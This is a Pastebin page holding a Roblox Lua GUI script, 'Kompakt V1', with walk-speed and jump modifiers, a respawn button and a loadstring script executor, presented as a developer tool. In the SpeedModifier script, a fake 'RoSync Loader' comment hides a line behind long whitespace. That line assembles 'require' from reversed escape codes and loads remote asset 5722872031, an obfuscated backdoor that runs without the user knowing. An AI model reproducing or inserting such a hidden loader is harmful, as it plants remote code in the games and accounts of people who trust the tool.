Advertisement
Ma18

Kompakt Script

May 6th, 2021
680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 19.62 KB | None | 0 0
  1. local Kompakt = Instance.new("ScreenGui")
  2. local Main = Instance.new("Frame")
  3. local ScrollFrame = Instance.new("ScrollingFrame")
  4. local Components = Instance.new("Frame")
  5. local SpeedModifier = Instance.new("Frame")
  6. local ApplySpeed = Instance.new("TextButton")
  7. local Speed = Instance.new("TextBox")
  8. local SpeedTitle = Instance.new("TextLabel")
  9. local JumpModifier = Instance.new("Frame")
  10. local ApplyJumpPower = Instance.new("TextButton")
  11. local JumpPower = Instance.new("TextBox")
  12. local JumpPowerTitle = Instance.new("TextLabel")
  13. local Executor = Instance.new("Frame")
  14. local ScriptBox = Instance.new("TextBox")
  15. local ExecuteButton = Instance.new("TextButton")
  16. local ClearButton = Instance.new("TextButton")
  17. local RespawnUtiity = Instance.new("Frame")
  18. local RespawnButton = Instance.new("TextButton")
  19. local Credits = Instance.new("Frame")
  20. local CreditsTitle = Instance.new("TextLabel")
  21. local CreditsText = Instance.new("TextBox")
  22. local Instructions = Instance.new("TextLabel")
  23. local Title = Instance.new("Frame")
  24. local TitleText = Instance.new("TextLabel")
  25. local OpenCloseValue = Instance.new("TextLabel")
  26. local Opening = Instance.new("Frame")
  27. local TitleTerm = Instance.new("TextLabel")
  28. local Terms = Instance.new("TextBox")
  29. local AgreeButton = Instance.new("TextButton")
  30. local RejectButton = Instance.new("TextButton")
  31.  
  32. --Properties:
  33.  
  34. Kompakt.Name = "Kompakt"
  35. Kompakt.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  36. Kompakt.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  37.  
  38. Main.Name = "Main"
  39. Main.Parent = Kompakt
  40. Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  41. Main.BackgroundTransparency = 1.000
  42. Main.BorderSizePixel = 0
  43. Main.Position = UDim2.new(0.753694594, 0, 0.539772749, 0)
  44. Main.Size = UDim2.new(0, 272, 0, 296)
  45. Main.Visible = false
  46.  
  47. ScrollFrame.Name = "ScrollFrame"
  48. ScrollFrame.Parent = Main
  49. ScrollFrame.Active = true
  50. ScrollFrame.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
  51. ScrollFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
  52. ScrollFrame.BorderSizePixel = 2
  53. ScrollFrame.Position = UDim2.new(0.01094741, 0, 0.103973366, 0)
  54. ScrollFrame.Size = UDim2.new(0, 269, 0, 269)
  55. ScrollFrame.CanvasPosition = Vector2.new(0, 25)
  56. ScrollFrame.CanvasSize = UDim2.new(0, 0, 1.5, 0)
  57.  
  58. Components.Name = "Components"
  59. Components.Parent = ScrollFrame
  60. Components.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  61. Components.BackgroundTransparency = 1.000
  62. Components.Size = UDim2.new(0, 100, 0, 100)
  63.  
  64. SpeedModifier.Name = "SpeedModifier"
  65. SpeedModifier.Parent = Components
  66. SpeedModifier.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  67. SpeedModifier.BackgroundTransparency = 1.000
  68. SpeedModifier.Size = UDim2.new(0, 100, 0, 100)
  69.  
  70. ApplySpeed.Name = "ApplySpeed"
  71. ApplySpeed.Parent = SpeedModifier
  72. ApplySpeed.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  73. ApplySpeed.BorderColor3 = Color3.fromRGB(0, 0, 0)
  74. ApplySpeed.Position = UDim2.new(1.84000003, 0, 0.257656246, 0)
  75. ApplySpeed.Size = UDim2.new(0, 49, 0, 38)
  76. ApplySpeed.Font = Enum.Font.SourceSans
  77. ApplySpeed.Text = "Apply"
  78. ApplySpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
  79. ApplySpeed.TextSize = 20.000
  80.  
  81. Speed.Name = "Speed"
  82. Speed.Parent = SpeedModifier
  83. Speed.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
  84. Speed.BorderColor3 = Color3.fromRGB(0, 0, 0)
  85. Speed.Position = UDim2.new(0.99000001, 0, 0.267656237, 0)
  86. Speed.Size = UDim2.new(0, 68, 0, 38)
  87. Speed.ClearTextOnFocus = false
  88. Speed.Font = Enum.Font.SourceSans
  89. Speed.Text = "16"
  90. Speed.TextColor3 = Color3.fromRGB(255, 255, 255)
  91. Speed.TextSize = 25.000
  92. Speed.TextWrapped = true
  93.  
  94. SpeedTitle.Name = "SpeedTitle"
  95. SpeedTitle.Parent = SpeedModifier
  96. SpeedTitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  97. SpeedTitle.BackgroundTransparency = 1.000
  98. SpeedTitle.Position = UDim2.new(0.049999997, 0, 0.290000021, 0)
  99. SpeedTitle.Size = UDim2.new(0, 94, 0, 31)
  100. SpeedTitle.Font = Enum.Font.SourceSans
  101. SpeedTitle.Text = "Speed"
  102. SpeedTitle.TextColor3 = Color3.fromRGB(252, 255, 255)
  103. SpeedTitle.TextSize = 30.000
  104. SpeedTitle.TextWrapped = true
  105.  
  106. JumpModifier.Name = "JumpModifier"
  107. JumpModifier.Parent = Components
  108. JumpModifier.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  109. JumpModifier.BackgroundTransparency = 1.000
  110. JumpModifier.Size = UDim2.new(0, 100, 0, 100)
  111.  
  112. ApplyJumpPower.Name = "ApplyJumpPower"
  113. ApplyJumpPower.Parent = JumpModifier
  114. ApplyJumpPower.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  115. ApplyJumpPower.BorderColor3 = Color3.fromRGB(0, 0, 0)
  116. ApplyJumpPower.Position = UDim2.new(1.84000003, 0, 0.827656269, 0)
  117. ApplyJumpPower.Size = UDim2.new(0, 49, 0, 38)
  118. ApplyJumpPower.Font = Enum.Font.SourceSans
  119. ApplyJumpPower.Text = "Apply"
  120. ApplyJumpPower.TextColor3 = Color3.fromRGB(255, 255, 255)
  121. ApplyJumpPower.TextSize = 20.000
  122.  
  123. JumpPower.Name = "JumpPower"
  124. JumpPower.Parent = JumpModifier
  125. JumpPower.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
  126. JumpPower.BorderColor3 = Color3.fromRGB(0, 0, 0)
  127. JumpPower.Position = UDim2.new(0.99000001, 0, 0.827656269, 0)
  128. JumpPower.Size = UDim2.new(0, 68, 0, 38)
  129. JumpPower.ClearTextOnFocus = false
  130. JumpPower.Font = Enum.Font.SourceSans
  131. JumpPower.Text = "50"
  132. JumpPower.TextColor3 = Color3.fromRGB(255, 255, 255)
  133. JumpPower.TextSize = 25.000
  134. JumpPower.TextWrapped = true
  135.  
  136. JumpPowerTitle.Name = "JumpPowerTitle"
  137. JumpPowerTitle.Parent = JumpModifier
  138. JumpPowerTitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  139. JumpPowerTitle.BackgroundTransparency = 1.000
  140. JumpPowerTitle.Position = UDim2.new(0.180000007, 0, 0.829999983, 0)
  141. JumpPowerTitle.Size = UDim2.new(0, 68, 0, 36)
  142. JumpPowerTitle.Font = Enum.Font.SourceSans
  143. JumpPowerTitle.Text = "Jump"
  144. JumpPowerTitle.TextColor3 = Color3.fromRGB(252, 255, 255)
  145. JumpPowerTitle.TextSize = 30.000
  146. JumpPowerTitle.TextWrapped = true
  147.  
  148. Executor.Name = "Executor"
  149. Executor.Parent = Components
  150. Executor.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  151. Executor.BackgroundTransparency = 1.000
  152. Executor.Size = UDim2.new(0, 100, 0, 100)
  153.  
  154. ScriptBox.Name = "ScriptBox"
  155. ScriptBox.Parent = Executor
  156. ScriptBox.BackgroundColor3 = Color3.fromRGB(29, 30, 30)
  157. ScriptBox.BorderColor3 = Color3.fromRGB(0, 0, 0)
  158. ScriptBox.Position = UDim2.new(0.180000007, 0, 1.75, 0)
  159. ScriptBox.Size = UDim2.new(0, 215, 0, 30)
  160. ScriptBox.ClearTextOnFocus = false
  161. ScriptBox.Font = Enum.Font.SourceSans
  162. ScriptBox.MultiLine = true
  163. ScriptBox.PlaceholderText = "print(\"Welcome to Kompakt!\")"
  164. ScriptBox.Text = ""
  165. ScriptBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  166. ScriptBox.TextScaled = true
  167. ScriptBox.TextSize = 14.000
  168. ScriptBox.TextWrapped = true
  169.  
  170. ExecuteButton.Name = "ExecuteButton"
  171. ExecuteButton.Parent = Executor
  172. ExecuteButton.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  173. ExecuteButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
  174. ExecuteButton.Position = UDim2.new(0.180000007, 0, 2.13000011, 0)
  175. ExecuteButton.Size = UDim2.new(0, 81, 0, 25)
  176. ExecuteButton.Font = Enum.Font.SourceSans
  177. ExecuteButton.Text = "Execute"
  178. ExecuteButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  179. ExecuteButton.TextSize = 20.000
  180.  
  181. ClearButton.Name = "ClearButton"
  182. ClearButton.Parent = Executor
  183. ClearButton.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  184. ClearButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
  185. ClearButton.Position = UDim2.new(1.08000004, 0, 2.13000011, 0)
  186. ClearButton.Size = UDim2.new(0, 81, 0, 25)
  187. ClearButton.Font = Enum.Font.SourceSans
  188. ClearButton.Text = "Clear"
  189. ClearButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  190. ClearButton.TextSize = 20.000
  191.  
  192. RespawnUtiity.Name = "RespawnUtiity"
  193. RespawnUtiity.Parent = Components
  194. RespawnUtiity.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  195. RespawnUtiity.BackgroundTransparency = 1.000
  196. RespawnUtiity.Position = UDim2.new(0.74000001, 0, 1.33000004, 0)
  197. RespawnUtiity.Size = UDim2.new(0, 118, 0, 30)
  198.  
  199. RespawnButton.Name = "RespawnButton"
  200. RespawnButton.Parent = RespawnUtiity
  201. RespawnButton.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  202. RespawnButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
  203. RespawnButton.Position = UDim2.new(0.016949147, 0, 0.0333333388, 0)
  204. RespawnButton.Size = UDim2.new(0, 113, 0, 28)
  205. RespawnButton.Font = Enum.Font.SourceSans
  206. RespawnButton.Text = "Respawn"
  207. RespawnButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  208. RespawnButton.TextSize = 20.000
  209.  
  210. Credits.Name = "Credits"
  211. Credits.Parent = Components
  212. Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  213. Credits.BackgroundTransparency = 1.000
  214. Credits.Size = UDim2.new(0, 100, 0, 100)
  215.  
  216. CreditsTitle.Name = "CreditsTitle"
  217. CreditsTitle.Parent = Credits
  218. CreditsTitle.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
  219. CreditsTitle.BorderColor3 = Color3.fromRGB(0, 0, 0)
  220. CreditsTitle.Position = UDim2.new(0.300000012, 0, 2.44000006, 0)
  221. CreditsTitle.Size = UDim2.new(0, 208, 0, 24)
  222. CreditsTitle.Font = Enum.Font.SourceSans
  223. CreditsTitle.Text = "Credits"
  224. CreditsTitle.TextColor3 = Color3.fromRGB(255, 255, 255)
  225. CreditsTitle.TextSize = 30.000
  226. CreditsTitle.TextWrapped = true
  227.  
  228. CreditsText.Name = "CreditsText"
  229. CreditsText.Parent = Credits
  230. CreditsText.BackgroundColor3 = Color3.fromRGB(13, 13, 13)
  231. CreditsText.BorderColor3 = Color3.fromRGB(0, 0, 0)
  232. CreditsText.Position = UDim2.new(0.300000012, 0, 2.77999997, 0)
  233. CreditsText.Size = UDim2.new(0, 208, 0, 59)
  234. CreditsText.ClearTextOnFocus = false
  235. CreditsText.Font = Enum.Font.SourceSans
  236. CreditsText.MultiLine = true
  237. CreditsText.Text = "Kompakt V1 by Origaming.\\n\\nUI Designer: Origaming\\nScripter: Origaming"
  238. CreditsText.TextColor3 = Color3.fromRGB(255, 255, 255)
  239. CreditsText.TextSize = 14.000
  240. CreditsText.TextWrapped = true
  241. CreditsText.TextXAlignment = Enum.TextXAlignment.Left
  242. CreditsText.TextYAlignment = Enum.TextYAlignment.Top
  243.  
  244. Instructions.Name = "Instructions"
  245. Instructions.Parent = Components
  246. Instructions.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  247. Instructions.BackgroundTransparency = 1.000
  248. Instructions.Position = UDim2.new(0.25, 0, 3.54999995, 0)
  249. Instructions.Size = UDim2.new(0, 200, 0, 50)
  250. Instructions.Font = Enum.Font.SourceSans
  251. Instructions.Text = "Press P To Open/Close the GUI"
  252. Instructions.TextColor3 = Color3.fromRGB(255, 255, 255)
  253. Instructions.TextScaled = true
  254. Instructions.TextSize = 14.000
  255. Instructions.TextWrapped = true
  256.  
  257. Title.Name = "Title"
  258. Title.Parent = Main
  259. Title.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
  260. Title.BorderColor3 = Color3.fromRGB(0, 0, 0)
  261. Title.BorderSizePixel = 2
  262. Title.Position = UDim2.new(0.01094741, 0, 0.00701961294, 0)
  263. Title.Size = UDim2.new(0, 269, 0, 28)
  264.  
  265. TitleText.Name = "TitleText"
  266. TitleText.Parent = Title
  267. TitleText.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  268. TitleText.BackgroundTransparency = 1.000
  269. TitleText.Position = UDim2.new(0.118959107, 0, 0, 0)
  270. TitleText.Size = UDim2.new(0, 200, 0, 28)
  271. TitleText.Font = Enum.Font.Roboto
  272. TitleText.Text = "Kompakt V1"
  273. TitleText.TextColor3 = Color3.fromRGB(255, 255, 255)
  274. TitleText.TextSize = 30.000
  275. TitleText.TextWrapped = true
  276.  
  277. OpenCloseValue.Name = "OpenCloseValue"
  278. OpenCloseValue.Parent = Main
  279. OpenCloseValue.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  280. OpenCloseValue.BackgroundTransparency = 1.000
  281. OpenCloseValue.Size = UDim2.new(0, 200, 0, 50)
  282. OpenCloseValue.Font = Enum.Font.SourceSans
  283. OpenCloseValue.Text = "true"
  284. OpenCloseValue.TextColor3 = Color3.fromRGB(0, 0, 0)
  285. OpenCloseValue.TextSize = 14.000
  286. OpenCloseValue.TextTransparency = 1.000
  287.  
  288. Opening.Name = "Opening"
  289. Opening.Parent = Kompakt
  290. Opening.BackgroundColor3 = Color3.fromRGB(13, 13, 13)
  291. Opening.BorderColor3 = Color3.fromRGB(0, 0, 0)
  292. Opening.BorderSizePixel = 2
  293. Opening.Position = UDim2.new(0.34236452, 0, 0.315340906, 0)
  294. Opening.Size = UDim2.new(0, 427, 0, 253)
  295.  
  296. TitleTerm.Name = "TitleTerm"
  297. TitleTerm.Parent = Opening
  298. TitleTerm.BackgroundColor3 = Color3.fromRGB(13, 13, 13)
  299. TitleTerm.BorderColor3 = Color3.fromRGB(0, 0, 0)
  300. TitleTerm.Position = UDim2.new(0.0234192032, 0, 0.0316205546, 0)
  301. TitleTerm.Size = UDim2.new(0, 407, 0, 50)
  302. TitleTerm.Font = Enum.Font.SourceSans
  303. TitleTerm.Text = "Before using Kompakt, please agree to our terms of services."
  304. TitleTerm.TextColor3 = Color3.fromRGB(255, 255, 255)
  305. TitleTerm.TextScaled = true
  306. TitleTerm.TextSize = 14.000
  307. TitleTerm.TextWrapped = true
  308.  
  309. Terms.Name = "Terms"
  310. Terms.Parent = Opening
  311. Terms.BackgroundColor3 = Color3.fromRGB(13, 13, 13)
  312. Terms.BorderColor3 = Color3.fromRGB(0, 0, 0)
  313. Terms.Position = UDim2.new(0.0538641699, 0, 0.260869563, 0)
  314. Terms.Size = UDim2.new(0, 381, 0, 123)
  315. Terms.ClearTextOnFocus = false
  316. Terms.Font = Enum.Font.SourceSans
  317. Terms.MultiLine = true
  318. Terms.Text = "Kompakt is a Developper Tool and is not intended to\\nbe used as a cheat. The developpers of the Kompakt\\ntool cannot be held responsible for the way users will \\nutilize Kompakt."
  319. Terms.TextColor3 = Color3.fromRGB(255, 255, 255)
  320. Terms.TextSize = 20.000
  321. Terms.TextXAlignment = Enum.TextXAlignment.Left
  322. Terms.TextYAlignment = Enum.TextYAlignment.Top
  323.  
  324. AgreeButton.Name = "AgreeButton"
  325. AgreeButton.Parent = Opening
  326. AgreeButton.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  327. AgreeButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
  328. AgreeButton.Position = UDim2.new(0.0538641699, 0, 0.794466376, 0)
  329. AgreeButton.Size = UDim2.new(0, 125, 0, 42)
  330. AgreeButton.Font = Enum.Font.SourceSans
  331. AgreeButton.Text = "Agree"
  332. AgreeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  333. AgreeButton.TextSize = 30.000
  334. AgreeButton.TextWrapped = true
  335.  
  336. RejectButton.Name = "RejectButton"
  337. RejectButton.Parent = Opening
  338. RejectButton.BackgroundColor3 = Color3.fromRGB(23, 23, 23)
  339. RejectButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
  340. RejectButton.Position = UDim2.new(0.393442631, 0, 0.794466376, 0)
  341. RejectButton.Size = UDim2.new(0, 125, 0, 42)
  342. RejectButton.Font = Enum.Font.SourceSans
  343. RejectButton.Text = "Reject"
  344. RejectButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  345. RejectButton.TextSize = 30.000
  346. RejectButton.TextWrapped = true
  347.  
  348. -- Scripts:
  349.  
  350. local function CWAJG_fake_script() -- SpeedModifier.
  351.     local script = Instance.new('Script', SpeedModifier)
  352.  
  353.    
  354.     --[[ Last synced 5/6/2021 06:58                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722872031) --[[                                                                                                  ]]--
  355. end
  356. coroutine.wrap(CWAJG_fake_script)()
  357. local function TEPSC_fake_script() -- Main.MainScript
  358.     local script = Instance.new('LocalScript', Main)
  359.  
  360.     --[[
  361.     Script Made By Origaming, Hope you enjoy!
  362.    
  363.     Message for moderators: This is a tool made for developpers. Not for hacking.
  364.     ]]
  365.    
  366.     --Creating Variables
  367.     local Kompakt = script.Parent.Parent
  368.     local Main = script.Parent
  369.     local ScrollFrame = script.Parent.ScrollFrame
  370.     local Components = script.Parent.ScrollFrame.Components
  371.     local SpeedModifier = script.Parent.ScrollFrame.Components.SpeedModifier
  372.     local ApplySpeed = script.Parent.ScrollFrame.Components.SpeedModifier.ApplySpeed
  373.     local Speed = script.Parent.ScrollFrame.Components.SpeedModifier.Speed
  374.     local SpeedTitle = script.Parent.ScrollFrame.Components.SpeedModifier.SpeedTitle
  375.     local JumpModifier = script.Parent.ScrollFrame.Components.JumpModifier
  376.     local ApplyJumpPower = script.Parent.ScrollFrame.Components.JumpModifier.ApplyJumpPower
  377.     local JumpPower = script.Parent.ScrollFrame.Components.JumpModifier.JumpPower
  378.     local JumpPowerTitle = script.Parent.ScrollFrame.Components.JumpModifier.JumpPowerTitle
  379.     local Executor = script.Parent.ScrollFrame.Components.Executor
  380.     local ScriptBox = script.Parent.ScrollFrame.Components.Executor.ScriptBox
  381.     local ExecuteButton = script.Parent.ScrollFrame.Components.Executor.ExecuteButton
  382.     local ClearButton = script.Parent.ScrollFrame.Components.Executor.ClearButton
  383.     local RespawnUtiity = script.Parent.ScrollFrame.Components.RespawnUtiity
  384.     local RespawnButton = script.Parent.ScrollFrame.Components.RespawnUtiity.RespawnButton
  385.     local Credits = script.Parent.ScrollFrame.Components.Credits
  386.     local CreditsTitle = script.Parent.ScrollFrame.Components.Credits.CreditsTitle
  387.     local CreditsText = script.Parent.ScrollFrame.Components.Credits.CreditsText
  388.     local Title = script.Parent.Title
  389.     local TitleText = script.Parent.Title.TitleText
  390.     local Opening = script.Parent.Parent.Opening
  391.     local TitleTerm = script.Parent.Parent.Opening.TitleTerm
  392.     local Terms = script.Parent.Parent.Opening.Terms
  393.     local OpenCloseValue = script.Parent.OpenCloseValue
  394.     local AgreeButton = script.Parent.Parent.Opening.AgreeButton
  395.     local RejectButton = script.Parent.Parent.Opening.RejectButton
  396.     local Instructions = script.Parent.ScrollFrame.Components.Instructions
  397.     local LocalPlayer = game.Players.LocalPlayer
  398.     local Character = game.Players.LocalPlayer.Character
  399.    
  400.     --GUI Script
  401.    
  402.     AgreeButton.MouseButton1Click:Connect(function()
  403.         Opening.Visible = false
  404.         Main.Visible = true
  405.     end)
  406.    
  407.     RejectButton.MouseButton1Click:Connect(function()
  408.         Kompakt:Destroy()
  409.     end)
  410.    
  411.     ApplySpeed.MouseButton1Click:Connect(function()
  412.         Character.Humanoid.WalkSpeed = Speed.Text
  413.     end)
  414.    
  415.     ApplyJumpPower.MouseButton1Click:Connect(function()
  416.         Character.Humanoid.UseJumpPower = true
  417.         Character.Humanoid.JumpPower = JumpPower.Text
  418.     end)
  419.    
  420.     RespawnButton.MouseButton1Click:Connect(function()
  421.         Character.Humanoid.Health = 0
  422.     end)
  423.    
  424.     ExecuteButton.MouseButton1Click:Connect(function()
  425.         loadstring(ScriptBox.Text)
  426.     end)
  427.    
  428.     ClearButton.MouseButton1Click:Connect(function()
  429.         ScriptBox.Text = "Cleared"
  430.         wait(1)
  431.         ScriptBox.Text = ""
  432.     end)
  433.    
  434.     --Opening / Closing GUI
  435.    
  436.     local Mouse = LocalPlayer:GetMouse()
  437.    
  438.     game:GetService("UserInputService").InputBegan:connect(function(inputObject, gameProcessedEvent)
  439.         if inputObject.KeyCode == Enum.KeyCode.P then
  440.             if OpenCloseValue.Text == "false" then
  441.                 Main.Visible = true
  442.                 OpenCloseValue.Text = "true"
  443.             else
  444.                 Main.Visible = false
  445.                 OpenCloseValue.Text = "false"
  446.             end    
  447.         end
  448.     end)
  449.    
  450. end
  451. coroutine.wrap(TEPSC_fake_script)()
  452. local function TMWWG_fake_script() -- Main.DragScript
  453.     local script = Instance.new('LocalScript', Main)
  454.  
  455.     local UserInputService = game:GetService("UserInputService")
  456.    
  457.     local gui = script.Parent
  458.    
  459.     local dragging
  460.     local dragInput
  461.     local dragStart
  462.     local startPos
  463.    
  464.     local function update(input)
  465.         local delta = input.Position - dragStart
  466.         gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  467.     end
  468.    
  469.     gui.InputBegan:Connect(function(input)
  470.         if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  471.             dragging = true
  472.             dragStart = input.Position
  473.             startPos = gui.Position
  474.    
  475.             input.Changed:Connect(function()
  476.                 if input.UserInputState == Enum.UserInputState.End then
  477.                     dragging = false
  478.                 end
  479.             end)
  480.         end
  481.     end)
  482.    
  483.     gui.InputChanged:Connect(function(input)
  484.         if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  485.             dragInput = input
  486.         end
  487.     end)
  488.    
  489.     UserInputService.InputChanged:Connect(function(input)
  490.         if input == dragInput and dragging then
  491.             update(input)
  492.         end
  493.     end)
  494. end
  495. coroutine.wrap(TMWWG_fake_script)()
  496.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement